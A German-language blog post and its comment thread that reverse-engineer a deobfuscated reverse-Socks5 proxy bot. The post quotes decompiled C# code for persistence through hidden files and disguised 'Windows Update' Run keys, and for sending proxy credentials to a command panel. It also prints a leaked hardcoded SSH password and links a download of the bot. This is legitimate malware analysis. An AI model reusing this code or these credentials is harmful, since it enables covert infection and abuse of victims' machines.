Easy Socks Bot - Leaked and Cracked
Nachdem Confuser 1.7.0.0 nun endgültig entpackt wurde konnte ich mich der eigentlichen Malware die es zu reversen galt widmen. Die Malware war, wie schon von Anfang an klar, ein Reverse Socks5 Bot. Anders als beim “N0ise-Bot” konnte ich den Source leserlich wiederherstellen, die Typen und Methoden umbenennen und sogar eine weiterhin ausführbare Exe erstellen. Allerdings wird diese nicht mitgeliefert, da es hier nur um die Technik geht. Wenn ihr also euern eigenen Socks5 Bot zusammenklicken wollt, so seid ihr hier falsch
Der Source des Bots ist, im Gegensatz zum Zemra-Bot, sehr klein. Eine Main-Klasse mit “nur” 13 Methoden stellt das Herz des Bots dar, gehen wir doch Schritt für Schritt durch die komplexeste aller Funktionen, die Main-Funktion.
Zunächst wird, vor dem eigentlichen Starten, ein Mutex mit dem Namen “uoxopAzgrzaWsQaS” erzeugt. Sollte das Mutex bereits aktiv sein wird der neu gestartete Prozess beendet. Die nächste Funktion “installert” den Bot, dabei nistet er sich in folgenden Pfaden und Registryeinträgen ein:
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\winupdt.exe"; File.Copy(Assembly.GetEntryAssembly().Location, text, true); File.SetAttributes(text, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System); Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Windows Update", text); Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true).SetValue("Hidden", 2); Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Windows Update", text); |
Nach dem Installieren wird zum ersten mal Kontakt mit dem Panel aufgenommen. Dabei wird ein sog. “Token” generiert (eine einzigartige ID) und dieses in Zukunft als Identifikation verwendet. Gibt der Server nach diesem Handshake “1″ zurück, so wird der lokale Socks Server gestartet, Verbindung zum SSH-Server aufgebaut und schließlich ein Port zwischen 1024 und 65565 weitergeleitet. Im Anschluss werden die Zugangsdaten an den Server übertragen.
string a = MainClass.SendPost(MainClass.PanelHostURL, "norm=1&token=" + MainClass.Token); if (a == "1" && !MainClass.IsPortFortward) { if (!MainClass.IsSocksCreated) { MainClass.CreateLocalSocks5(); MainClass.IsSocksCreated = true; } MainClass.ForwardPortForSocks(); MainClass.IsPortFortward = true; MainClass.SendPost(MainClass.PanelHostURL, string.Concat(new object[] {"host=", MainClass.Hostname, "&port=", MainClass.Port, "&username=", MainClass.User, "&password=", MainClass.Password, "&token=", MainClass.Token |
Sollte der der Server aber mit “0″ antworten, so wird der lokale Server beendet und die Verbindung abgebrochen. Danach wird jeweils 120 Sekunden gewartet, alle 10 Minuten (5*120) findet zudem ein Check statt, ob der lokale Socks5-Server noch aktiv ist. Das ist die gesamte Loop des ganzen.
Alles andere wurde endweder über die bereits im anderen Posts erwähnte Tamir.SharpSSH-Library gemacht (SSH Verbindungen) oder aber über die Org.Mentalis.Proxy-Libaray, eine Proxy-Klasse mit Funktionen zum Starten eines lokalen Proxy-Servers. Es ist leider wahr, der Coder weiß warscheinlich nichteinmal wie das Socks5-Protokoll funktioniert, den dies ist in dem Bot auf 2 Zeilen beschränkt:
SocksListener socksListener = new SocksListener(MainClass.LocalPort2, authenticationList); socksListener.Start(); |
“Löblich” ist, dass die Einstellungsstrings erst zur Laufzeit geladen und entschlüsselt werden, doch hier sind die User und
DowPW Daten entschlüsselt. Auf die URL des Webpanels und auf den SSH-Server wurde mit Absicht verzichtet.
SSH User: socks
SSH PW:ew86j77ki464bgfmf8kzup4cxv1tzn57qe8u6
Download: Easy Socks 5 Bot Leaked (403)
So far Easy
Immer wieder gut.
Hat ubbelol auch einen blog?
Nie gehört, aber laut Google ist er in der RE-Szene aktiv.
Schöner Artikel!
Es ist eigentlich schade, dass kein deutscher “Malware- Programmierer” eine eigene SOCKS5- Klasse schreiben kann. Mit Hilfe der RFC sollte dies auf jeden Fall keine Herkulesaufgabe werden..
Werden die SSH- Verbindungsdaten im Bot gespeichert oder vom Panel aus übertragen?
Bis jetzt war es, soweit ich weiß, leider bei jedem Bot so, dass die SSH- Daten mit “reinkompiliert” werden und wunderbar statisch sind und auf Ewigkeit so bleiben werden (da blutet schon mein Herz vor Trauer :’-( ).
Bei einer Übertragung vom Panel zum Bot wäre dies natürlich mal schön dynamisch. Natürlich sollte dies hier (asynchron) verschlüsselt werden, da man sich sonst sehr schön schnell einen SSH- Account abgreifen kann. Selbst wenn der SSH- Nutzer keine Rechte auf dem Server hat, so kann man mit diesem immer noch sein Internet schön tunneln..
Viele Grüße und schreibe gefälligst so weiter :p
Kataklysmos
P.S.: Was fällt deinem Script ein, einfach meine VPN- IP zu blockieren!? Da muss ich wohl mal seine Mutter anrufen!
Die Daten sind “hardcoded” und verschlüsselt im Main-Module eingetragen, daher gehe ich stark davon aus dass jeder Coder eine eigen kompilierte Bin bekommt. Der SSH-Server, welcher im Bot eingetragen war, ist (leider) down, sonst hätte man in der Tat ein wenig Unfug damit treiben können…
Danke, ich werd schaun ob ich weiterhin die Zeit finde
@P.S: Ein Spam-Plugin checkt eine Online-Blacklist, warscheinlich war dein VPN da gelistet… :/
Verzeihung, aber ich kriege immer wieder einen Anfall wenn Leute von asynchroner Verschlüsselung sprechen, es nennt sich asymetrische Verschlüsselung wenn man mit einem privaten und öffentlichem Schlüssel arbeitet.
“Durch mehr oder weniger Zufall bin ich in Kontakt mit einem anderen Coder und Reverser gekommen, welcher ebenfalls an einem Confuser Deobfuscator schreibt. Da wir uns beide nur ergänzen können wurde ich nun in das Projekt aufgenommen. Das Projekt und findet ihr unter dem Namen Enlightener”
Und Enlightener kommt anscheinend von UbbeLoL ?! häh?
Ja stimmt, da hab ich nicht weit genug mitgedacht, sorry

Kenne ihn unter dem Namen “ReM4n”, daher meine Verwirrung gerade
Und ich denke er hat leider keinen Blog, nein :/
Hallo easysurfer mich würde mal das panel interessieren mit den tokens wäre es möglich das du es mir via email zukommen lassen kanst bzw es hier hochlädst
Grüße